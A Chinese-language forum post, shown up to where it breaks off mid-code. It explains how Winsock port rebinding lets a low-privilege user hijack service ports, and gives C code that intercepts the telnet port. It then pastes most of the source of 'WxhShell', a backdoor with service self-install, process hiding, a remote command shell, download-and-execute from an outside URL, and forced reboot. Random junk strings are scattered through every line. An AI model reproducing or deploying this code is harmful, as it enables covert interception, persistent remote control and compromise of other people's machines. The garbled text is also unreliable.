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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x-b}S1@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bc'Mj=>;  
1'1>B  
  saddr.sin_family = AF_INET; Fx:4d$>;  
u>*qDr* d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~G.MaSm  
I]WvcDJ}C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Th$xk9TK^@  
n|B<rx?v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k+hl6$:Qj%  
`r0lu_.$]4  
  这意味着什么?意味着可以进行如下的攻击: b)r;a5"<5  
  Xi w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lcVG<*gf-  
#L&/o9|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *] !r T&E  
]&tcocq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bEmzigN[  
z|zEsDh;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^UFNds'q  
. "7-f]!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9~y:K$NO  
3Z7gPU!H=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 46~nwi$,^  
C u1G8t-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {`(MK6D8 c  
MooxT7  
  #include #c~- 8=  
  #include 7\gu; [n  
  #include \C{Zqo,  
  #include    *w}r:04F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >;%LW} %  
  int main() *w/N>:V0p  
  { ja(ZJ[<`  
  WORD wVersionRequested; &-m}w:j=  
  DWORD ret; T&}KUX~Q/  
  WSADATA wsaData; 4JXJ0T ar  
  BOOL val; X1BqN+=@9  
  SOCKADDR_IN saddr; 1K'cT\aFm  
  SOCKADDR_IN scaddr; f*T}Ov4  
  int err; 12: Q`   
  SOCKET s; ?[%.4i;-h  
  SOCKET sc; ]cW Q9  
  int caddsize; YdUcO.V  
  HANDLE mt; >ul&x!?@  
  DWORD tid;   Yu9VtC1  
  wVersionRequested = MAKEWORD( 2, 2 ); HrT@Df  
  err = WSAStartup( wVersionRequested, &wsaData ); GH&5m44   
  if ( err != 0 ) { L=P8;Gj)  
  printf("error!WSAStartup failed!\n"); I*/:rb  
  return -1; ^ (J%)&_\3  
  } Y@qugQM>  
  saddr.sin_family = AF_INET; @X=sfygk  
   l_,6<wWp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J?tnS6V  
+?{LLD*2e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )Lk2tvr  
  saddr.sin_port = htons(23); dF|R`Pa2ML  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9NZq k  
  { Oi{J} 2U  
  printf("error!socket failed!\n"); #MbY+[Y@v  
  return -1; JIc9csr:b  
  } <TS ps!(#  
  val = TRUE; 7nM<P4\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m |.0$+=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R@`xS<`L/  
  { {}=5uU2Tu  
  printf("error!setsockopt failed!\n"); =PnNett}a  
  return -1; ~bis!(}p-  
  } T~4HeEG>uH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Urksj:N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c)q=il7ef  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zB\ 8<97 C  
gLx?0eBBA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0/cgOP!^  
  { W&m3"~BJ  
  ret=GetLastError(); vi[~Qt  
  printf("error!bind failed!\n"); YeB C6`7y  
  return -1; J|cw9u  
  } &?gcnMg$,J  
  listen(s,2); !L_xcov!Y  
  while(1) KCqz]  
  { psS^  
  caddsize = sizeof(scaddr); .R S  
  //接受连接请求 ':utU1dL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8zwH^q[`r  
  if(sc!=INVALID_SOCKET) ?pA_/wwp  
  { tao9icl*`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -ilhC Y@M  
  if(mt==NULL) t=[/L]!  
  { 3@<m/%  
  printf("Thread Creat Failed!\n"); 6S(`Bw8h  
  break; <FN +  
  } *6v5JH&K  
  } h5^We"}+  
  CloseHandle(mt); >(sS4_O7N  
  } >q&e.-qL  
  closesocket(s); TdoH(( nY  
  WSACleanup(); A\ tBmL_s  
  return 0; s2nZW pIy  
  }   aecvz0}@R  
  DWORD WINAPI ClientThread(LPVOID lpParam) va.Ve# N  
  { gX* &RsF  
  SOCKET ss = (SOCKET)lpParam; !Z;Nv  
  SOCKET sc; rhN"#?  
  unsigned char buf[4096]; 4U[X-AIY&  
  SOCKADDR_IN saddr; 2%]#rZ  
  long num; (k%r_O6  
  DWORD val; 2$gFiZ  
  DWORD ret; GVdJ&d\x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5%DHF-W)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >rFM8P(  
  saddr.sin_family = AF_INET; ASNo6dP 7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U.|0y=  
  saddr.sin_port = htons(23); G2J4N2hu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EhN@;D+  
  { CTc#*LJx>j  
  printf("error!socket failed!\n"); X`I=Z ysB  
  return -1; b+71`aD0  
  } JJP!9<  
  val = 100; qmnW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sWgzHj(c  
  { cP0(Q+i7  
  ret = GetLastError(); ZXWm?9uw  
  return -1; QmsS,Zljo  
  } |:d_IB@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ITjg]taD  
  { K*"Fpx{M  
  ret = GetLastError(); yLt>OA<X  
  return -1; "04:1J`  
  } SLud}|f;o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =&vRT;6  
  { :NWrbfz  
  printf("error!socket connect failed!\n"); H"|oI|~  
  closesocket(sc); .r-kH&)"GU  
  closesocket(ss); T{ /\q 5  
  return -1; PMiG:bM  
  } (DTkK5/%  
  while(1) ?&.Eg^a"  
  { _Tma1 ~Gq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %#7^b=;=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ds.)sKA>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]@sLX ek  
  num = recv(ss,buf,4096,0); bw[K^/  
  if(num>0) X!]p8Q y  
  send(sc,buf,num,0); 5VlF\-  
  else if(num==0) NW?h~2  
  break; TK%MVLTK  
  num = recv(sc,buf,4096,0); Z`@< O%  
  if(num>0) y~+U(-&.  
  send(ss,buf,num,0); {s[,CUL0  
  else if(num==0) Je~<2EsQ  
  break; +/8KN  
  } rcjj( C  
  closesocket(ss); z%L\EP;o}  
  closesocket(sc); T@DT|lTI  
  return 0 ; {>>Gc2UT  
  } BoPJ;6?>}  
<(2,@_~@r  
I~7eu&QZ  
========================================================== |'12Kv]#Xa  
\jByJCN  
下边附上一个代码,,WXhSHELL [moz{Y  
C)0JcM  
========================================================== 1V2"sE  
{@<EVw  
#include "stdafx.h" 0D48L5kH#'  
Twr<MXa  
#include <stdio.h> w]Vd IS  
#include <string.h> +J%9%DqF  
#include <windows.h> dK?vg@|'  
#include <winsock2.h> 8{J{)gF  
#include <winsvc.h> pL)o@-k#%  
#include <urlmon.h> a`uHkRX )U  
t0gLz J  
#pragma comment (lib, "Ws2_32.lib") }\)O1  
#pragma comment (lib, "urlmon.lib") [|\BuUT'  
M }tr*L  
#define MAX_USER   100 // 最大客户端连接数 iKuSk~  
#define BUF_SOCK   200 // sock buffer H-1y2AQ  
#define KEY_BUFF   255 // 输入 buffer :g=z}7!s  
N6_<[`  
#define REBOOT     0   // 重启 mkOj&Q  
#define SHUTDOWN   1   // 关机 QBfsdu<@^  
MUU9IMFJ  
#define DEF_PORT   5000 // 监听端口 c_^-`7g  
EBPm7{&0|  
#define REG_LEN     16   // 注册表键长度 QC*> qo  
#define SVC_LEN     80   // NT服务名长度 r(QjVLjj`k  
;.P9t`*  
// 从dll定义API }J&[Uc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K\]ey;Bd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @I^LmB9*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ad:)5R o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2,O;<9au<  
X}$uvB}+>  
// wxhshell配置信息 Ju"*>66  
struct WSCFG { 7+vyN^XJ"5  
  int ws_port;         // 监听端口 O0i[GCtP5  
  char ws_passstr[REG_LEN]; // 口令 F&om^G'U  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?`%)3gx|  
  char ws_regname[REG_LEN]; // 注册表键名 Rv T>{G~  
  char ws_svcname[REG_LEN]; // 服务名 A12#v,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "e\:Cq>\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t K+K lz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n-7|{1U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8UyYN$7V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h)qapC5z,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x !o>zT\  
Htf|VpzMb  
}; L-lDvc?5c  
ie!ik  
// default Wxhshell configuration ,nELWzz%{  
struct WSCFG wscfg={DEF_PORT, 420cJ{;A  
    "xuhuanlingzhe", 6R+m;'  
    1, U`es n?m!  
    "Wxhshell", gL+8fX2G6  
    "Wxhshell", k]=Yi;  
            "WxhShell Service", jz_\B(m9%  
    "Wrsky Windows CmdShell Service", u^T{sQ"_  
    "Please Input Your Password: ", TrHz(no  
  1, 5!T\L~tyt  
  "http://www.wrsky.com/wxhshell.exe", >d&_e[j  
  "Wxhshell.exe" /pvR-Id|6  
    }; 8uR4ZE*  
.OHjn|  
// 消息定义模块 iv*Ft.1t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8pfQAzl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9:!<=rk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4|*H0}HOm  
char *msg_ws_ext="\n\rExit."; %z&=A%'a  
char *msg_ws_end="\n\rQuit."; >900O4  
char *msg_ws_boot="\n\rReboot..."; u~,@Zg87  
char *msg_ws_poff="\n\rShutdown..."; *t'q n   
char *msg_ws_down="\n\rSave to "; ZlHN-!OZp  
xe;1D'(   
char *msg_ws_err="\n\rErr!"; FTx&] QN?  
char *msg_ws_ok="\n\rOK!"; ^Tbw#x]2  
8}FZ1h2 4  
char ExeFile[MAX_PATH]; ZW$PJmz  
int nUser = 0; /`YHPeXu  
HANDLE handles[MAX_USER]; rULrGoM  
int OsIsNt; J;pn5k~3  
d>z?JD t  
SERVICE_STATUS       serviceStatus; L3^WI( 8m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y]ML-smN  
:zk69P3  
// 函数声明 Suixk'-  
int Install(void); P%hi*0pwZ  
int Uninstall(void); d^"<Tz!  
int DownloadFile(char *sURL, SOCKET wsh); /xmUu0H$R  
int Boot(int flag); ~U+SK4SK:o  
void HideProc(void); 85U')LY  
int GetOsVer(void); Hf( d x\5  
int Wxhshell(SOCKET wsl); P8jXruZr  
void TalkWithClient(void *cs); u?[dy n  
int CmdShell(SOCKET sock); =k#SQ/@  
int StartFromService(void); L Of0_g/  
int StartWxhshell(LPSTR lpCmdLine); |tC`rzo  
jX5lwP Q|F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =p9d4smbn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %xE\IRlR  
mAkR<\?iTF  
// 数据结构和表定义 $+eDoI'f  
SERVICE_TABLE_ENTRY DispatchTable[] = W-9^Ncp  
{ (,~gY=E+  
{wscfg.ws_svcname, NTServiceMain}, rWKc,A[  
{NULL, NULL} lYkm1  
}; @[M5$,"  
wykk</eQ.i  
// 自我安装 +$Q33@F5l  
int Install(void) t0XM#9L  
{ ZSj^\JU  
  char svExeFile[MAX_PATH]; n5i#GvO^  
  HKEY key; ,6Ulj+l  
  strcpy(svExeFile,ExeFile); 2x-67_BHY=  
%\8E{M:  
// 如果是win9x系统,修改注册表设为自启动 bV_@!KL$  
if(!OsIsNt) { Gp.+&\vi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ydOJ^Yty  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vy?Zz<c;  
  RegCloseKey(key); <$)F_R~T3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c?;~ Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n!5 :I#B  
  RegCloseKey(key); 5/-{.g   
  return 0; 9$7tB  
    } i9?$BZQ[R  
  } .K>r ao'  
} OM,-:H,  
else { 1Wzm51RU  
$OK}jSH*v)  
// 如果是NT以上系统,安装为系统服务 q~9Y&>D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B.nq3;Y  
if (schSCManager!=0) .[Ezg(U}ze  
{ "I.PV$Rxl  
  SC_HANDLE schService = CreateService HhkubG)\  
  ( :|i jCg+  
  schSCManager, nzI}w7>VU  
  wscfg.ws_svcname, 7XLz Ewa  
  wscfg.ws_svcdisp, c%,~1l  
  SERVICE_ALL_ACCESS, 0KknsP7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /I@nPH<y  
  SERVICE_AUTO_START, dQ+{Dv3A  
  SERVICE_ERROR_NORMAL, wIT0A-Por4  
  svExeFile, |/B2Bm  
  NULL, m:@-]U@ 6  
  NULL, k[3J5 4`g1  
  NULL, i6F`KF'i&  
  NULL, HS!O;7s'  
  NULL <=KtRE>$  
  ); |1vi kG8  
  if (schService!=0) FbRq h|  
  { gGl}~  
  CloseServiceHandle(schService); f{=0-%dA  
  CloseServiceHandle(schSCManager); J{Fu8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !o A,^4(  
  strcat(svExeFile,wscfg.ws_svcname); JGjqBuz#A*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0_7A <   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }r`m(z$z  
  RegCloseKey(key); F)x^AJi e  
  return 0; <0!/7*;#ZT  
    } ]<\Ft H  
  } 8:V:^`KaSs  
  CloseServiceHandle(schSCManager); 8t3,}}TJ  
} "0al"?  
} mouLjT&p  
Q)}_S@v|%  
return 1; *^cJn*QeL  
} bnS"@^M  
e)I-|Q4^%  
// 自我卸载 l_ /q/8-l  
int Uninstall(void) go^?F- dZ  
{ IyvJwrO  
  HKEY key; Na8%TT>  
[0v`E5  
if(!OsIsNt) { /Q Xq<NG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vvEr}G  
  RegDeleteValue(key,wscfg.ws_regname);  +z/_'DE  
  RegCloseKey(key); gc|?$aE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Eq$f (QJ  
  RegDeleteValue(key,wscfg.ws_regname); ^(5Up=.EA  
  RegCloseKey(key); "PO>@tY  
  return 0; `/en&l  
  } -X#Zn>#  
} 4N&4TUIM  
} te e  
else { Ys8p,.OMs  
^ ,`;x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tz{W69k+  
if (schSCManager!=0) 24u;'i-y5  
{ v[efM8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qF9z@a  
  if (schService!=0) )@"iWQ 3K  
  { . e' vc  
  if(DeleteService(schService)!=0) { G 2L?j   
  CloseServiceHandle(schService); L8"0o 0-  
  CloseServiceHandle(schSCManager); s?h=%; T[  
  return 0; ~/0 t<^  
  } IBYRuaEB  
  CloseServiceHandle(schService); (7 i@ @  
  } ,'~8{,h5  
  CloseServiceHandle(schSCManager); }%z {tn  
} px!lJtvgo  
} yHS=8!  
tBSHMz  
return 1; 9H$$Og  
} k"-2OT  
V-Ebi^gz5W  
// 从指定url下载文件 # fvt:iE  
int DownloadFile(char *sURL, SOCKET wsh) 7]}n 0*fe  
{ Qs24b  
  HRESULT hr; NYS |fa  
char seps[]= "/"; {Vy2uow0  
char *token; }:NE  
char *file; 2, bo  
char myURL[MAX_PATH]; :CH?,x^!@  
char myFILE[MAX_PATH]; !?t#QD o  
* !4r}h`  
strcpy(myURL,sURL); ? OrRTRW  
  token=strtok(myURL,seps); zd1X(e<|{  
  while(token!=NULL) "YY6_qQR'  
  { H^UuT  
    file=token; bB01aiUw@l  
  token=strtok(NULL,seps); m0I/X$-Cl5  
  } \4;}S&`k  
G$b*N4yR  
GetCurrentDirectory(MAX_PATH,myFILE); TiiMX  
strcat(myFILE, "\\"); +:@lde]/p  
strcat(myFILE, file); u,]?_bK)  
  send(wsh,myFILE,strlen(myFILE),0); 3C8cvi[IS  
send(wsh,"...",3,0); !RX7TYf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -rC_8.u :  
  if(hr==S_OK) KMFvi_8  
return 0; RzPqtN  
else ";:"p6?  
return 1; 4`(b(DL]  
fQZ,kl  
} yk1.fxik'  
AcF6p)@_  
// 系统电源模块 P+tnXT>nE  
int Boot(int flag) zoFCHs r  
{ ZaxBr  
  HANDLE hToken; sxac( L  
  TOKEN_PRIVILEGES tkp; \F_~?$  
-oSfp23u  
  if(OsIsNt) { mJjd2a"vi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xWNB/{F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xl.iI$P  
    tkp.PrivilegeCount = 1; R*m=V{iu`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h_O6Z2J1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LEnm6  
if(flag==REBOOT) { 5v&mK 5zZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lPA:aHcj  
  return 0; >]DnEF&  
} @.JhL[f  
else { @EPO\\C"f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u;{,,ct  
  return 0; .<GU2&;!  
} sn.Xvk%75  
  } mGf@J6wGz  
  else { ZM:!LkK  
if(flag==REBOOT) { 37:\X5)z/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "?_r?~sJx  
  return 0; !'E{D`A9  
} 0taopDi ;d  
else { aTJs.y -I~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @qC](5|TQ  
  return 0; ;xp^F KP  
} +mc0:e{WF  
} f@:.bp8VB8  
-Xm/sq(i)%  
return 1; Iu<RwB[#Q  
} 58T<~u7  
MiB"CcU  
// win9x进程隐藏模块 |$Y0VC4a  
void HideProc(void) _*(n2'2B  
{ =&kd|o/i  
*|Cmm>z"7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x  RV@ _  
  if ( hKernel != NULL ) }Xn5M&>?  
  { @@&([f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n\ l$R!zr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LV$@J  
    FreeLibrary(hKernel); zkFx2(Hq-f  
  } 2m$\]\kCUv  
%hEhZW{:  
return; Oy> V/  
} $Tc"7nYu  
W{z7h[?5,  
// 获取操作系统版本 A^ :/*  
int GetOsVer(void) 5e> <i  
{ !G`7T  
  OSVERSIONINFO winfo; e.8(tEqZ1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]`p*ZTr)\  
  GetVersionEx(&winfo); ^U[c:Rz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8OYw72&  
  return 1; 3B{B6w}t&  
  else V(-=@UW  
  return 0; Fo$kD(  
} *3,Kn}ik  
fT:a{  
// 客户端句柄模块 #M9rt ~4  
int Wxhshell(SOCKET wsl) wOhiC$E46  
{ Vh%=JL sK  
  SOCKET wsh; Lm-yTMNPn  
  struct sockaddr_in client; FZUN*5`  
  DWORD myID; w_O3];  
ynWF Y<VX  
  while(nUser<MAX_USER) dnZA+Pa  
{ y.pwj~s  
  int nSize=sizeof(client); ]<9KX} B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (T0%oina  
  if(wsh==INVALID_SOCKET) return 1; bZf18lvij:  
w=ZSyT-i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q db~I#}m'  
if(handles[nUser]==0) GS!7HphR  
  closesocket(wsh); ;rD M%S@  
else zcn> 4E)  
  nUser++; =TTk5(m  
  } 7RH1,k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SHc<`M'+  
#osP"~{  
  return 0; z2EZ0vZ  
} -d|Q|zF^x  
L)0j&  
// 关闭 socket ^xBF$ua37)  
void CloseIt(SOCKET wsh) nDt1oM H  
{ %fv;C  
closesocket(wsh); `^mPq?f  
nUser--; mBp3_E.t  
ExitThread(0); PNjZbOmzS  
} sYt\3/yL'  
n0/H2>I[  
// 客户端请求句柄 n!nXM  
void TalkWithClient(void *cs) k7R8Q~4  
{ N-lo[bDJh  
f&z@J,_=  
  SOCKET wsh=(SOCKET)cs; S 54N  
  char pwd[SVC_LEN]; 2;82*0Y%  
  char cmd[KEY_BUFF]; M/O4JZEqh  
char chr[1]; &p."` C  
int i,j; V>8)1)dF  
\wyn  
  while (nUser < MAX_USER) { Y,?!"  
t[L_n m5-  
if(wscfg.ws_passstr) { *5kQ6#l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R{GT? wl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gM0^k6bB8  
  //ZeroMemory(pwd,KEY_BUFF); _kgGz@/p  
      i=0; Z#J cN quM  
  while(i<SVC_LEN) { ~+JE l%  
Sqc r -  
  // 设置超时 ?Aewp$Bj  
  fd_set FdRead; }qqE2;{ND  
  struct timeval TimeOut; Awip qDAu  
  FD_ZERO(&FdRead); nBVR)|+M  
  FD_SET(wsh,&FdRead); U',.'"m  
  TimeOut.tv_sec=8; j@j%)CCM  
  TimeOut.tv_usec=0; mKsTA;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F5*NK!U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r87)?-B  
W(C\lSE0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *%{  
  pwd=chr[0]; 3!+N} [$iy  
  if(chr[0]==0xd || chr[0]==0xa) { QN GICG-  
  pwd=0; )yHJc$OlMx  
  break; #/UlW  
  } m|7lDfpb  
  i++; # 1S*}Q<k  
    } gK`o ;` ^  
nb -Je+  
  // 如果是非法用户,关闭 socket pPC_ub  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0:,8Ce  
} |GDf<\  
[f_4%Now  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `|[" {j}^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SGZ]_  
fs43\m4= m  
while(1) { ]~')OSjw  
~miRnW*x  
  ZeroMemory(cmd,KEY_BUFF); o(2tRDT\_b  
FXAP]iqo  
      // 自动支持客户端 telnet标准   BIFuQ?j3  
  j=0; -w0U }Te^  
  while(j<KEY_BUFF) { ))pp{X2m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rk1B \L|M  
  cmd[j]=chr[0]; ^m3[mY [a  
  if(chr[0]==0xa || chr[0]==0xd) { #Cwzk{p(  
  cmd[j]=0; oAMB}a;  
  break; \Mujx3Fmvx  
  } <@Lw '  
  j++; (>E}{{>2r  
    } Ap{2*o  
@YH<Hc  
  // 下载文件 CL~21aslI  
  if(strstr(cmd,"http://")) { MzF9 &{N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;AFF7N>&  
  if(DownloadFile(cmd,wsh)) &$'=SL(Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LC!ZeW35  
  else x vi&d1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C*S%aR  
  } 6{XdLI  
  else { Ar+<n 2;[  
]>K02SVT:  
    switch(cmd[0]) { nA!Xb'y&  
  ) <lpI';T  
  // 帮助 E^RPK{zO  
  case '?': { :HJ@/ s!J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xnyp'O8yk  
    break; -:5]*zVp+-  
  } jq4'=L$4  
  // 安装 4z~%gt74O]  
  case 'i': { &HPzm6.3  
    if(Install()) 33R_JM{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,>@+^1  
    else ~-"<)XPe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >=|;2*9v  
    break; ?z:Xdx\l  
    } ,| \62B`  
  // 卸载 c{iF  
  case 'r': { $WOiXLyCk  
    if(Uninstall()) X(b"b:j'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E !a5-SrR  
    else "S">#.L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!%cHqR  
    break; HuX{8nl a  
    } q{rc[ s?  
  // 显示 wxhshell 所在路径 `7;I*|  
  case 'p': { D]I]I!2c  
    char svExeFile[MAX_PATH];  IX|2yu4  
    strcpy(svExeFile,"\n\r"); ?\HXYCi0r  
      strcat(svExeFile,ExeFile); :&]THUw  
        send(wsh,svExeFile,strlen(svExeFile),0); . PzlhTL7  
    break;  2Z ? N  
    } dM A"% R  
  // 重启 VTDp9s  
  case 'b': { 5UFR^\e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $ }u,uI  
    if(Boot(REBOOT)) /r4QDwu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZe[Nos  
    else { iNTw;ov  
    closesocket(wsh); %-Z0OzWe  
    ExitThread(0); 2 |fN*Wm  
    } (HHVup1f  
    break; -?8;-h, h  
    } )xJo/{?  
  // 关机 "TWNit  
